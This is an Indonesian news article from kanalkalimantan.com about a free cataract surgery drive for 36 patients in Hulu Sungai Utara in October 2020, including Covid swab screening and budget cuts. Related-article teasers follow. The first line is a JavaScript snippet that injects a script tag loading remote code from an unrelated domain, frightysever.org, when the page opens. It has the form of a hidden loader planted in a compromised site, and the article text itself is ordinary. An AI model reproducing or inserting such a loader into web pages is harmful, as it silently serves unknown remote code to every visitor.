(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Puluhan penderita katarak di Kabupaten Hulu Sungai Utara (HSU) mendapatkan pelayanan gratis operasi katarak dalam rangka Bakti Sosial (Baksos) memperingati Hari Kesehatan Nasional (HKN) ke – 56 tahun 2020.
Baksos kali ini, Dinas Kesehatan (Dinkes) Provinsi Kalimantan Selatan berkerja sama dengan Dinkes HSU melaksanakannya di RSUD Pambalah Batung Amuntai, Rabu (28/10/2020).
Selain menggelar operasi katarak gratis, sehari sebelumnya Dinkes Kabupaten HSU juga mengadakan sunatan massal dengan melibatkan sebanyak 136 anak di Puskesmas Alabio.
Kepala Dinas Kesehatan Kabupaten HSU dr H Agus Fidliansyah menuturkan, kegiatan operasi katarak gratis ini dilaksanakan dua hari dari tanggal 28 Oktober sampai 29 Oktober dengan menerapkan standar protokol kesehatan yang ketat.
“Jumlah pasien yang mendapatkan operasi gratis katarak sebanyak 36 orang, dilaksanakan dua hari, hari ini dan besok, ” ungkap dr Agus disela kegiatan.
Meski berada di tengah pandemi Covid-19, Lanjut Agus, yang menjadi titik fokus semua orang masalah- masalah kesehatan lainnya jangan diabaikan, maka dari itu penyakit lainya harus di perhatikan seperti operasi katarak ini juga kita berikan pelayanan kesehatan.
“Ini buktinya kami jajaran kesehatan dari tingkat pusat, provinsi hingga kabupaten/kota kompak satukan tekat meskipun di tengah pandemi pelayanan kesehatan lainnya harus dilaksanakan, dengan tetap standar protokol kesehatan, ” imbuhnya.
Kegiatan operasi katarak pada tahun ini dilaksanakan berbeda dari tahun sebelumnya, dimana meraka para pasien operasi katarak diwajibakan mengikuti serangkaian tahapan pemeriksaan medis dan protokol kesehatan seperti melakukan swab.
“Pasien operasi katarak harus dilakukan skrining, dulu kita hanya memeriksa kondisi pasien baik secara umum seperti tidak menderita diabetes, kencing manis, tidak hipertensi dan katarak nya siap untuk di operasi, tapi di tahun ini para pasien harus melakukan swab sebelum melaksanakan operasi katarak, ” tukasnya.
Sementara itu, Direktur RSUD Pambah Batung dr. M Yandi Friyandi para petugas kesehatan yang melakukan operasi besar ataupun kecil wajib melakukan swab sebelum melakukan operasi guna menjaga rasa aman bagi para pasien yang melakukan operasi khususnya saat ini yang melakukan operasi katarak.
“Alhamdulliah semua petugas kesehatan yang melakukan operasi katarak ini dinyatakan negatif, ” kata Yandi.
Hal serupa juga disampaikan Sarkiyah, selaku Kasi Pelayanan Kesehatan Premier Dinas Kesehatan Provinsi Kalsel yang menyebut tahun ini para penerima operasi katarak gratis hanya sebanyak 36 orang, dari awal nya 75 orang menjadi 36 orang, dikarenakan akibat Covid – 19 yang beberapa dana harus terpotong termasuk operasi katarak yang mengakibatkan pengurangan jumlah penerima operasi katarak gratis.
“Harapan kami tentunya tidak adanya pengurangan, tapi mau bagaimana lagi pandemi harus tetap diselesaikan juga, sementara penyakit lain nya juga harus diselesaikan, maka solusinya dibagilah” pungkasnya (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.